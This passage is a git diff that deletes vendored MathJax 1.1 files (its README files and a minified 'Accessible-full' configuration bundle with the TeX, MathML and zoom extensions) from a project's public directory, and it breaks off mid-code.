-MathJax is an open-source JavaScript display engine for LaTeX and MathML
-that works in all modern browsers.  It was designed with the goal of
-consolidating the recent advances in web technologies into a single,
-definitive, math-on-the-web platform supporting the major browsers and
-operating systems.  It requires no setup on the part of the user (no
-plugins to download or software to install), so the page author can write
-web documents that include mathematics and be confident that users will be
-able to view it naturally and easily.  Simply include MathJax and some
-mathematics in a web page, and MathJax does the rest.
-
-Some of the main features of MathJax include:
-
-- High-quality display of LaTeX and MathML math notation in HTML pages
-
-- Supported in most browsers with no plug-ins, extra fonts, or special
-  setup for the reader
-
-- Easy for authors, flexible for publishers, extensible for developers
-
-- Supports math accessibility, cut-and-paste interoperability and other
-  advanced functionality
-
-- Powerful API for integration with other web applications
-
-See <http://www.mathjax.org/> for additional details.
-
-
-## Installation and Usage
-
-The MathJax installation and usage documentation is available in the
-`docs/html` directory of the MathJax distribution (see
-`docs/html/index.html` for the starting point).  The documents are also
-available on the MathJax web site on line at <http://www.mathjax.org/resources/docs/>.
-
-
-## Community
-
-The main MathJax website is <http://www.mathjax.org>, and it includes
-announcements and other important information.  MathJax is maintained and
-distributed on GitHub at <http://github.com/mathjax/MathJax>.  A user forum
-for asking questions and getting assistance is hosted at Google, and the
-bug tracker is hosted at GitHub:
-
-Bug tracker:         <https://github.com/mathjax/MathJax/issues>  
-MathJax-Users Group: <http://groups.google.com/group/mathjax-users>
-
-Before reporting a bug, please check that it has not already been reported.
-Also, please use the bug tracker for reporting bugs rather than the help forum.
diff --git a/public/MathJax/README.txt b/public/MathJax/README.txt
deleted file mode 100644
index ceb18074..00000000
--- a/public/MathJax/README.txt
+++ /dev/null
@@ -1,55 +0,0 @@
-OVERVIEW:
-
-MathJax is an open-source JavaScript display engine for LaTeX and
-MathML that works in all modern browsers.  It was designed with the
-goal of consolidating the recent advances in web technologies into a
-single, definitive, math-on-the-web platform supporting the major
-browsers and operating systems.  It requires no setup on the part of
-the user (no plugins to downlaod or software to install), so the page
-author can write web documents that include mathematics and be
-confident that users will be able to view it naturally and easily.
-One simply includes MathJax and some mathematics in a web page, and
-MathJax does the rest.
-
-Some of the main features of MathJax include:
-
-  o High-quality display of LaTeX and MathML math notation in HTML pages
-
-  o Supported in most browsers with no plug-ins, extra fonts, or special
-    setup for the reader
-
-  o Easy for authors, flexible for publishers, extensible for developers
-
-  o Supports math accessibility, cut and paste interoperability and other
-    advanced functionality
-
-  o Powerful API for integration with other web applications
-
-See http://www.mathjax.org/ for additional details.
-
-
-INSTALLATION AND USAGE:
-
-The MathJax installation and usage documentation is available on the
-docs/html directory of the MathJax distribution (see
-docs/html/index.html for the starting point).  The documents are also
-available on the MathJax web site on line at
-
-    http://www.mathjax.org/docs/ 
-
-
-COMMUNITY:
-
-The main MathJax website is www.mathjax.org, and it includes announcements
-and other important information.  MathJax also has a SourceForge site at
-http://sourceforge.net/projects/mathjax/ that includes the download site
-for the MathJax distribution, the bug-tracker for reporting bugs, and
-several user forums for asking questions and getting assistance:
-
-    Bug tracker:      http://sourceforge.net/tracker/?group_id=261188&atid=1240827
-    MathJax Help:     http://sourceforge.net/projects/mathjax/forums/forum/948701
-    Open Discussion:  http://sourceforge.net/projects/mathjax/forums/forum/948700
-
-Before reporting a bug, please check that it has not already been reported.
-Also, please use the bug tracker for reporting bugs rather than the help
-forum.
diff --git a/public/MathJax/config/Accessible-full.js b/public/MathJax/config/Accessible-full.js
deleted file mode 100644
index a6be2c0d..00000000
--- a/public/MathJax/config/Accessible-full.js
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- *  /MathJax/config/Accessible-full.js
- *  
- *  Copyright (c) 2010-11 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Config({delayJaxRegistration: true});
-
-MathJax.Ajax.Preloading(
-  "[MathJax]/jax/input/TeX/config.js",
-  "[MathJax]/jax/input/MathML/config.js",
-  "[MathJax]/jax/output/HTML-CSS/config.js",
-  "[MathJax]/jax/output/NativeMML/config.js",
-  "[MathJax]/config/MMLorHTML.js",
-  "[MathJax]/extensions/tex2jax.js",
-  "[MathJax]/extensions/mml2jax.js",
-  "[MathJax]/extensions/MathZoom.js",
-  "[MathJax]/extensions/MathMenu.js",
-  "[MathJax]/jax/element/mml/jax.js",
-  "[MathJax]/extensions/toMathML.js",
-  "[MathJax]/extensions/TeX/noErrors.js",
-  "[MathJax]/extensions/TeX/noUndefined.js",
-  "[MathJax]/jax/input/TeX/jax.js",
-  "[MathJax]/extensions/TeX/AMSmath.js",
-  "[MathJax]/extensions/TeX/AMSsymbols.js",
-  "[MathJax]/jax/input/MathML/jax.js",
-  "[MathJax]/jax/output/NativeMML/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/jax.js",
-  "[MathJax]/jax/output/HTML-CSS/autoload/mtable.js"
-);
-
-MathJax.Hub.Config({"v1.0-compatible":false});
-
-MathJax.Hub.Config({
-  NativeMML: {
-    showMathMenuMSIE: false
-  },
-  menuSettings: {
-    zoom: "Double-Click"
-  },
-  errorSettings: {
-    message: ["[Math Error]"]
-  }
-  
-});
-
-MathJax.InputJax.TeX=MathJax.InputJax({id:"TeX",version:"1.1.1",directory:MathJax.InputJax.directory+"/TeX",extensionDir:MathJax.InputJax.extensionDir+"/TeX",config:{TagSide:"right",TagIndent:"0.8em",MultLineWidth:"85%"}});MathJax.InputJax.TeX.Register("math/tex");MathJax.InputJax.TeX.loadComplete("config.js");
-
-MathJax.InputJax.MathML=MathJax.InputJax({id:"MathML",version:"1.1.4",directory:MathJax.InputJax.directory+"/MathML",extensionDir:MathJax.InputJax.extensionDir+"/MathML",entityDir:MathJax.InputJax.directory+"/MathML/entities",config:{useMathMLspacing:false}});MathJax.InputJax.MathML.Register("math/mml");MathJax.InputJax.MathML.loadComplete("config.js");
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
-MathJax.OutputJax.NativeMML=MathJax.OutputJax({id:"NativeMML",version:"1.1.4",directory:MathJax.OutputJax.directory+"/NativeMML",extensionDir:MathJax.OutputJax.extensionDir+"/NativeMML",config:{scale:100,showMathMenu:true,showMathMenuMSIE:true,styles:{"DIV.MathJax_MathML":{"text-align":"center",margin:".75em 0px"}}}});if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax.NativeMML.Register("jax/mml")}MathJax.OutputJax.NativeMML.loadComplete("config.js");
-
-(function(c){var h="1.1.1";var a=MathJax.Hub.CombineConfig("MMLorHTML",{prefer:{MSIE:"MML",Firefox:"MML",Opera:"HTML",other:"HTML"}});var e={Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4};var b=(c.Browser.version==="0.0"||c.Browser.versionAtLeast(e[c.Browser]||0));var g=false;if(!c.Browser.isIE9){try{new ActiveXObject("MathPlayer.Factory.1");g=true}catch(f){}}var d=(c.Browser.isFirefox&&c.Browser.versionAtLeast("1.5"))||(c.Browser.isMSIE&&g)||(c.Browser.isOpera&&c.Browser.versionAtLeast("9.52"));c.Register.StartupHook("End Config",function(){var i=(a.prefer&&typeof(a.prefer)==="object"?a.prefer[MathJax.Hub.Browser]||a.prefer.other||"HTML":a.prefer);if(b||d){if(d&&(i==="MML"||!b)){if(MathJax.OutputJax.NativeMML){MathJax.OutputJax.NativeMML.Register("jax/mml")}else{c.config.jax.unshift("output/NativeMML")}c.Startup.signal.Post("NativeMML output selected")}else{if(MathJax.OutputJax["HTML-CSS"]){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}else{c.config.jax.unshift("output/HTML-CSS")}c.Startup.signal.Post("HTML-CSS output selected")}}else{c.PreProcess.disabled=true;c.prepareScripts.disabled=true;MathJax.Message.Set("Your browser does not support MathJax",null,4000);c.Startup.signal.Post("MathJax not supported")}})})(MathJax.Hub);MathJax.Ajax.loadComplete("[MathJax]/config/MMLorHTML.js");
-
-MathJax.Extension.tex2jax={version:"1.1.3",config:{inlineMath:[["\\(","\\)"]],displayMath:[["$$","$$"],["\\[","\\]"]],skipTags:["script","noscript","style","textarea","pre","code"],ignoreClass:"tex2jax_ignore",processClass:"tex2jax_process",processEscapes:false,processEnvironments:true,preview:"TeX"},PreProcess:function(a){if(!this.configured){this.config=MathJax.Hub.CombineConfig("tex2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}if(typeof(this.config.previewTeX)!=="undefined"&&!this.config.previewTeX){this.config.preview="none"}this.configured=true}if(typeof(a)==="string"){a=document.getElementById(a)}if(!a){a=document.body}this.createPatterns();this.scanElement(a,a.nextSibling)},createPatterns:function(){var d=[],c,a,b=this.config;this.match={};for(c=0,a=b.inlineMath.length;c<a;c++){d.push(this.patternQuote(b.inlineMath[c][0]));this.match[b.inlineMath[c][0]]={mode:"",end:b.inlineMath[c][1],pattern:this.endPattern(b.inlineMath[c][1])}}for(c=0,a=b.displayMath.length;c<a;c++){d.push(this.patternQuote(b.displayMath[c][0]));this.match[b.displayMath[c][0]]={mode:"; mode=display",end:b.displayMath[c][1],pattern:this.endPattern(b.displayMath[c][1])}}this.start=new RegExp(d.sort(this.sortLength).join("|")+(b.processEnvironments?"|\\\\begin\\{([^}]*)\\}":"")+(b.processEscapes?"|\\\\*\\\\\\$":""),"g");this.skipTags=new RegExp("^("+b.skipTags.join("|")+")$","i");this.ignoreClass=new RegExp("(^| )("+b.ignoreClass+")( |$)");this.processClass=new RegExp("(^| )("+b.processClass+")( |$)")},patternQuote:function(a){return a.replace(/([\^$(){}+*?\-|\[\]\:\\])/g,"\\$1")},endPattern:function(a){return new RegExp(this.patternQuote(a)+"|\\\\.","g")},sortLength:function(d,c){if(d.length!==c.length){return c.length-d.length}return(d==c?0:(d<c?-1:1))},scanElement:function(c,b,f){var a,e,d;while(c&&c!=b){if(c.nodeName.toLowerCase()==="#text"){if(!f){c=this.scanText(c)}}else{a=(typeof(c.className)==="undefined"?"":c.className);e=(typeof(c.tagName)==="undefined"?"":c.tagName);if(typeof(a)!=="string"){a=String(a)}if(c.firstChild&&!a.match(/(^| )MathJax/)&&!this.skipTags.exec(e)){d=(f||this.ignoreClass.exec(a))&&!this.processClass.exec(a);this.scanElement(c.firstChild,b,d)}}if(c){c=c.nextSibling}}},scanText:function(b){if(b.nodeValue.replace(/\s+/,"")==""){return b}var a,c;this.search={start:true};this.pattern=this.start;while(b){this.pattern.lastIndex=0;while(b&&b.nodeName.toLowerCase()==="#text"&&(a=this.pattern.exec(b.nodeValue))){if(this.search.start){b=this.startMatch(a,b)}else{b=this.endMatch(a,b)}}if(this.search.matched){b=this.encloseMath(b)}if(b){do{c=b;b=b.nextSibling}while(b&&(b.nodeName.toLowerCase()==="br"||b.nodeName.toLowerCase()==="#comment"));if(!b||b.nodeName!=="#text"){return c}}}return b},startMatch:function(a,b){var f=this.match[a[0]];if(f!=null){this.search={end:f.end,mode:f.mode,open:b,olen:a[0].length,opos:this.pattern.lastIndex-a[0].length};this.switchPattern(f.pattern)}else{if(a[0].substr(0,6)==="\\begin"){this.search={end:"\\end{"+a[1]+"}",mode:"; mode=display",open:b,olen:0,opos:this.pattern.lastIndex-a[0].length,isBeginEnd:true};this.switchPattern(this.endPattern(this.search.end))}else{var d=a[0].substr(0,a[0].length-1),g,c;if(d.length%2===0){c=[d.replace(/\\\\/g,"\\")];g=1}else{c=[d.substr(1).replace(/\\\\/g,"\\"),"$"];g=0}c=MathJax.HTML.Element("span",null,c);var e=MathJax.HTML.TextNode(b.nodeValue.substr(0,a.index));b.nodeValue=b.nodeValue.substr(a.index+a[0].length-g);b.parentNode.insertBefore(c,b);b.parentNode.insertBefore(e,c);this.pattern.lastIndex=g}}return b},endMatch:function(a,b){if(a[0]==this.search.end){this.search.close=b;this.search.cpos=this.pattern.lastIndex;this.search.clen=(this.search.isBeginEnd?0:a[0].length);this.search.matched=true;b=this.encloseMath(b);this.switchPattern(this.start)}return b},switchPattern:function(a){a.lastIndex=this.pattern.lastIndex;this.pattern=a;this.search.start=(a===this.start)},encloseMath:function(b){var a=this.search,f=a.close,e,c;if(a.cpos===f.length){f=f.nextSibling}else{f=f.splitText(a.cpos)}if(!f){e=f=MathJax.HTML.addText(a.close.parentNode,"")}a.close=f;c=(a.opos?a.open.splitText(a.opos):a.open);while(c.nextSibling&&c.nextSibling!==f){if(c.nextSibling.nodeValue!==null){if(c.nextSibling.nodeName==="#comment"){c.nodeValue+=c.nextSibling.nodeValue.replace(/^\[CDATA\[((.|\n|\r)*)\]\]$/,"$1")}else{c.nodeValue+=c.nextSibling.nodeValue}}else{if(this.msieNewlineBug){c.nodeValue+=(c.nextSibling.nodeName.toLowerCase()==="br"?"\n":" ")}else{c.nodeValue+=" "}}c.parentNode.removeChild(c.nextSibling)}var d=c.nodeValue.substr(a.olen,c.nodeValue.length-a.olen-a.clen);c.parentNode.removeChild(c);if(this.config.preview!=="none"){this.createPreview(a.mode,d)}c=this.createMathTag(a.mode,d);this.search={};this.pattern.lastIndex=0;if(e){e.parentNode.removeChild(e)}return c},insertNode:function(b){var a=this.search;a.close.parentNode.insertBefore(b,a.close)},createPreview:function(c,a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);this.insertNode(b)}},createMathTag:function(c,b){var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);this.insertNode(a);return a},filterTeX:function(a){return a},msieNewlineBug:(MathJax.Hub.Browser.isMSIE&&document.documentMode<9)};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.tex2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/tex2jax.js");
-
-MathJax.Extension.mml2jax={version:"1.1.2",config:{preview:"alttext"},MMLnamespace:"http://www.w3.org/1998/Math/MathML",PreProcess:function(e){if(!this.configured){this.config=MathJax.Hub.CombineConfig("mml2jax",this.config);if(this.config.Augment){MathJax.Hub.Insert(this,this.config.Augment)}this.InitBrowser();this.configured=true}if(typeof(e)==="string"){e=document.getElementById(e)}if(!e){e=document.body}this.ProcessMathArray(e.getElementsByTagName("math"));if(e.getElementsByTagNameNS){this.ProcessMathArray(e.getElementsByTagNameNS(this.MMLnamespace,"math"))}var d=document.getElementsByTagName("html")[0];if(d){for(var c=0,b=d.attributes.length;c<b;c++){var a=d.attributes[c];if(a.nodeName.substr(0,6)==="xmlns:"&&a.nodeValue===this.MMLnamespace){this.ProcessMathArray(e.getElementsByTagName(a.nodeName.substr(6)+":math"))}}}},ProcessMathArray:function(b){var a;if(b.length){if(this.MathTagBug){for(a=b.length-1;a>=0;a--){if(b[a].nodeName==="MATH"){this.ProcessMathFlattened(b[a])}else{this.ProcessMath(b[a])}}}else{for(a=b.length-1;a>=0;a--){this.ProcessMath(b[a])}}}},ProcessMath:function(e){var d=e.parentNode;var a=document.createElement("script");a.type="math/mml";d.insertBefore(a,e);if(this.AttributeBug){var b=this.OuterHTML(e);if(this.CleanupHTML){b=b.replace(/<\?import .*?>/i,"").replace(/<\?xml:namespace .*?\/>/i,"");b=b.replace(/&nbsp;/g,"&#xA0;")}MathJax.HTML.setScript(a,b);d.removeChild(e)}else{var c=MathJax.HTML.Element("span");c.appendChild(e);MathJax.HTML.setScript(a,c.innerHTML)}if(this.config.preview!=="none"){this.createPreview(e,a)}},ProcessMathFlattened:function(f){var d=f.parentNode;var b=document.createElement("script");b.type="math/mml";d.insertBefore(b,f);var c="",e,a=f;while(f&&f.nodeName!=="/MATH"){e=f;f=f.nextSibling;c+=this.NodeHTML(e);e.parentNode.removeChild(e)}if(f&&f.nodeName==="/MATH"){f.parentNode.removeChild(f)}b.text=c+"</math>";if(this.config.preview!=="none"){this.createPreview(a,b)}},NodeHTML:function(e){var c,b,a;if(e.nodeName==="#text"){c=this.quoteHTML(e.nodeValue)}else{if(e.nodeName==="#comment"){c="<!--"+e.nodeValue+"-->"}else{c="<"+e.nodeName.toLowerCase();for(b=0,a=e.attributes.length;b<a;b++){var d=e.attributes[b];if(d.specified){c+=" "+d.nodeName.toLowerCase().replace(/xmlns:xmlns/,"xmlns")+"=";var f=d.nodeValue;if(f==null&&d.nodeName==="style"&&e.style){f=e.style.cssText}c+='"'+this.quoteHTML(f)+'"'}}c+=">";if(e.outerHTML!=null&&e.outerHTML.match(/(.<\/[A-Z]+>|\/>)$/)){for(b=0,a=e.childNodes.length;b<a;b++){c+=this.OuterHTML(e.childNodes[b])}c+="</"+e.nodeName.toLowerCase()+">"}}}return c},OuterHTML:function(d){if(d.nodeName.charAt(0)==="#"){return this.NodeHTML(d)}if(!this.AttributeBug){return d.outerHTML}var c=this.NodeHTML(d);for(var b=0,a=d.childNodes.length;b<a;b++){c+=this.OuterHTML(d.childNodes[b])}c+="</"+d.nodeName.toLowerCase()+">";return c},quoteHTML:function(a){if(a==null){a=""}return a.replace(/&/g,"&#x26;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")},createPreview:function(b,a){var c;if(this.config.preview==="alttext"){var d=b.getAttribute("alttext");if(d!=null){c=[this.filterText(d)]}}else{if(this.config.preview instanceof Array){c=this.config.preview}}if(c){c=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},c);a.parentNode.insertBefore(c,a)}},filterText:function(a){return a},InitBrowser:function(){var b=MathJax.HTML.Element("span",{id:"<",className:"mathjax",innerHTML:"<math><mi>x</mi><mspace /></math>"});var a=b.outerHTML||"";this.AttributeBug=a!==""&&!(a.match(/id="&lt;"/)&&a.match(/class="mathjax"/)&&a.match(/<\/math>/));this.MathTagBug=b.childNodes.length>1;this.CleanupHTML=MathJax.Hub.Browser.isMSIE}};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.mml2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/mml2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var l=document.getElementById("MathJax_ZoomFrame");if(l){l.parentNode.removeChild(l);l=document.getElementById("MathJax_ZoomTracker");if(l){l.parentNode.removeChild(l)}if(f.operaRefreshBug){var j=c.addElement(document.body,"div",{style:{position:"fixed",left:0,top:0,width:"100%",height:"100%",backgroundColor:"white",opacity:0},id:"MathJax_OperaDiv"});document.body.removeChild(j)}if(window.removeEventListener){removeEventListener("resize",f.Resize,false)}else{if(window.detachEvent){detachEvent("onresize",f.Resize)}else{window.onresize=f.onresize;delete f.onresize}}}return d(k)}};a.Register.StartupHook("HTML-CSS Jax Ready",function(){b=MathJax.OutputJax["HTML-CSS"];b.Augment({HandleEvent:f.HandleEvent})});a.Register.StartupHook("NativeMML Jax Ready",function(){h=MathJax.OutputJax.NativeMML;h.Augment({HandleEvent:f.HandleEvent,MSIEmouseup:function(l,k,j){if(this.trapUp){delete this.trapUp;return true}if(this.MSIEzoomKeys(l)){return true}return false},MSIEclick:function(l,k,j){if(this.trapClick){delete this.trapClick;return true}if(!this.MSIEzoomKeys(l)){return false}if(!this.settings.zoom.match(/Click/)){return false}return(f.Click(l,k)===false)},MSIEdblclick:function(l,k,j){if(!this.MSIEzoomKeys(l)){return false}return(f.DblClick(l,k)===false)},MSIEmouseover:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEmouseout:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.ClearTimer();return true},MSIEmousemove:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEzoomKeys:function(j){if(this.settings.CTRL&&!j.ctrlKey){return false}if(this.settings.CMD&&!j.metaKey){return false}if(this.settings.ALT&&!j.altKey){return false}if(this.settings.Shift&&!j.shiftKey){return false}return true}})});a.Browser.Select({MSIE:function(j){var k=(document.compatMode==="BackCompat");var l=j.versionAtLeast("8.0")&&document.documentMode>7;f.msiePositionBug=true;f.msieWidthBug=!k;f.msieIE8Bug=l;f.msieZIndexBug=!l;f.msieInlineBlockAlignBug=(!l||k);if(document.documentMode>=9){delete 